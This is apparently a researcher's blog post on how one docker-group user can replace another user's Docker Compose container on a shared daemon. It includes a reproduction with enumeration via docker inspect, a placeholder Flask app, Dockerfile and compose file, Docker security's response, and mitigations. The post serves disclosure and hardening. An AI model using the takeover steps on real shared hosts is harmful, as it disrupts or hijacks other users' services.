Docker container hijack?

User2:“I’m the captain now.”

It’s wild when you accidentally step upon something intended, yet benign? Something like that happened a few months back when I was volunteering at DEF CON Delhi Group 9111, managing the CTF infrastructure.

The story

As any sane & quick CTF organizer, the approach was simple. Registrations and challenge descriptions hosted on CTFd. Challenges themselves were dockerized and deployed as their own containers inside a Ubuntu Server VM. A nginx reverse-proxy to handle traffic on the basis of FQDN (VHOST). Nothing out of the ordinary. I was working with the team, reviewing challenges, creating Dockerfile and docker-compose.yml files for each challenge with one of my teammates and deploying them to test before the day of event.

While at it, I was also approached by a partnering community for helping to host their infrastructure for a similar CTF. I decided to just create a separate user in the Ubuntu Server VM itself, and host the docker challenges in a similar way. Sounds good enough. Until it wasn’t.

The way I named the working folder for challenges according to the category followed by double digits to represent order. web00, web01, misc00 and so on. For sake of simplicity, I had set up working space for user1 in /home/user1/CTF_Challs/ and similar for user2 (/home/user2/CTF_Challs/). The challenge folders were placed inside these folders. And the content of challenge folders were Dockerfile, docker-compose.yml files and the challenge related files. If one has to remove the challenge related files, the folders look identical. Both the users were added to docker group so that they don’t require root privileges to execute containers. Dockerfile were crafted with care to run entry-point commands as non-privilege users and some more basic security practices which are to be followed while deploying challenges to 1000s of cybersecurity enthusiasts online.

Everything was in place (thankfully dates of the 2 CTFs didn’t overlap) and ready to be tested. I started deploying challenges using docker compose up --build -d command one by one. Challenges for DEF CON Delhi CTF were up and running. Everything looked great. Went into /home/user1/CTF_Challs/web00, ran docker compose up --build, it builds the image, and container starts with name web00-web-1. When no container name is specified in the docker-compose.yml file, it’ll default to pick a name based on current working directory and service name in the following format: <current_working_directory>-<service_name>-1. One by one, I had challenges up and running.

I moved to user2 workspace. Went into web00, it had same structure, just different ports in the docker-compose.yml file to host this challenge on a different port. Hit docker compose up --build -d and done. Container web00-web-1 up and running. Oh wait. Something’s odd here? The final line after building the image in the docker compose status is

Recreating web00-web-1 

What do you mean Recreating? This is the first time I’m trying to start this challenge. Unless it means… Oh. OH.

Went back to check listening ports, and yup. There it was. The web00 challenge from user1 workspace overridden by web00 challenge in user2. I didn’t expect this to happen. I assumed that different users can spin up separate dockers which won’t interact with each other at least on the host. But seeing the opposite happening got me curious. For the time being, occupied with volunteering duties I didn’t pay much attention to it and for quick solution, I just hosted challenges only the day before the CTF dates. Since the dates were far apart, everything went well (except for few deployment oopsies in DC9111 CTF :p)

The Demo

After the events were concluded, I demonstrated this small exercise to one of my teammates, that how a user can “takeover” or “hijack” other user’s docker container with just simple enumeration and modifications. This however requires very specific conditions to be met:

  1. Must have access to a privileged user. (User being in the docker group becomes somewhat privileged as in default deployment, the docker-daemon runs with root privileges, granting some of the root privileges to the users in docker group as well, described later in this post)
  2. The users must be accessing the same docker daemon.

Steps to Reproduce:

Setup Environment:

  • OS: Ubuntu 24.04.1 LTS
  • Docker Engine version: 26.1.3
  • Docker Compose version: 2.27.1+ds1-0ubuntu1~24.04.1
  • containerd version: 1.7.24
  • runc version: 1.1.12-0ubuntu3.1
  • docker-init version: 0.19.0

Enumeration:

  1. The host system contains two user: user1, user2. Both users are member of docker group, to be able to access the docker daemon and start/stop containers.

  2. For this PoC, we’ll assume user1 is the legitimate user running service webapp cloned from https://github.com/mostwanted002/flask-app (Thanks to wh1t3r0se for lending me the dummy app. forked it XD)

  3. The user2 can identify the running service with multiple methods. One of them is breaking down the default container name set by docker compose. Assuming that the user1 cloned and set up webapp with following commands:

     git clone https://github.com/mostwanted002/flask-app.git
     cd flask-app
     docker compose up --build -d
     # simple web app, serves on http://localhost:3020/
    

    The default container name assigned by docker compose is <working_directory_>-<service_name>-1. Here, it’ll result in docker container with name flask-app-webapp-1.

  4. user2 can identify the running container and services by following way:

    • docker ps command, and then docker inspect (since user2 is in the docker group. This is intended behavior). This will reveal the working directory as well and service name.

      ...
       "PortBindings": {
                      "3020/tcp": [
                          {
                              "HostIp": "0.0.0.0",
                              "HostPort": "3020"
                          }
                      ]
                  }
       ...
       "Labels": {
                      "com.docker.compose.config-hash": "aea20f29e2b633942e42d45097089edae6a133163aa3dd28d83d326d193c5a38",
                      "com.docker.compose.container-number": "1",
                      "com.docker.compose.depends_on": "",
                      "com.docker.compose.image": "sha256:5d45d0901c3c541946a88c71141cb214b7db41487bb2930eaf83708d9e81b768",
                      "com.docker.compose.oneoff": "False",
                      "com.docker.compose.project": "flask-app",
                      "com.docker.compose.project.config_files": "/home/user1/flask-app/docker-compose.yml",
                      "com.docker.compose.project.working_dir": "/home/user1/flask-app",
                      "com.docker.compose.replace": "cafdc66cb782a16a68cb20128f24e566787c1aeea51c928c8e203e3766f3c041",
                      "com.docker.compose.service": "webapp",
                      "com.docker.compose.version": "2.27.1"
                  }
                        
             
      
  5. Now user2 doesn’t even have to get the exact application. They can create a dummy application in a directory flask-app, create a docker-compose.yml, with a service webapp in it.

  6. user2 malicious app:

    #!/usr/bin/env python3
    #
    # main.py
    # A simple webapp to display ("Overtaken by user2") on visiting homepage.
    from flask import Flask
       
    app = Flask(__name__)
       
    @app.route("/")
    def index():
        return "Overtaken by user2\n"
       
    if __name__ == "__main__":
        app.run()
    
    # Dockerfile
    FROM python:3.12
    WORKDIR /webapp
    COPY main.py ./
    RUN python3 -m pip install flask gunicorn
    EXPOSE 3020
    CMD gunicorn main:app -b 0.0.0.0:3020
    
    # docker-compose.yml
    services:
        webapp: # Important to match it exactly to the existing running service.
            build: .
            ports:
                - "3020:3020"
       
    
  7. Place these files anywhere in the system in a folder named flask-app and run the following commands:

    docker compose up --build -d
    
  8. Docker compose will re-create the container with new files and app from user2, taking over the service running on http://localhost:3020

  9. Here’s a video PoC:

What else?

Well one can argue that why not just attach to running container with docker exec -it command? And to that yes, why not. Plenty of ways to go about it. I initially thought this is a bug in the docker compose itself and I reached to the Docker Security team at [email protected]. (I honestly had doubts about it being a “bug”. It felt more of a “lack of hardening” than a valid bug)

Kudos to the team for reviewing the report quickly and clarifying me on the things around this behavior. Their response:

To follow-up on your report:

The attack you describe needs the following pre-requisites:

  • Local user access
  • Membership in the docker group
  • Shared Docker daemon

By default we manage services via project name (directory name), not user ownership, and our docs describe this:

“If you make a configuration change to a service and run docker compose up to update it, the old container is removed and the new one joins the network under a different IP address but the same name.“source:  https://docs.docker.com/compose/how-tos/networking/#update-containers-on-the-network

We hence qualify this as outside of our thread model, given that a user compromise is a pre-requisite to this attack scenario.

We also warn in our docs about the level of privilege the docker group grants.

“The docker group grants root-level privileges to the user. For details on how this impacts security in your system, see  Docker Daemon Attack Surface."

How to get out of such scenarios?

To mitigate this behavior, current workarounds are:

  1. Two instances of docker daemon, isolating one user to one instance. (user1 to daemon1, and user2 to daemon2)
  2. Running docker-daemon in rootless mode. ( Documentation)

Feel free to reach out to me if you have other ways of mitigate around this.

Avatar
Mayank Malik
GSTIN 09DVAPM0869P1ZV | ISC2 CC | Threat and Malware Analyst | Incident Response | Security Researcher

I am a tech-savvy person, Threat & Malware Analyst, and like to wander around to learn new stuff. Malware Analysis, Cryptography, Networking, and System Administration are some of my forte. I’m also a geek for computer hardware and everything around it. One of the Founding Members of CTF Team, Abs0lut3Pwn4g3. Team member at HashMob.net. Apart from the mentioned skills, I’m good at communication skills and am a goal-driven person. Yellow belt holder at pwn.college in pursuit of learning and achieving Blue Belt. Reach out for malware analysis requests and incident response inquiry!

Related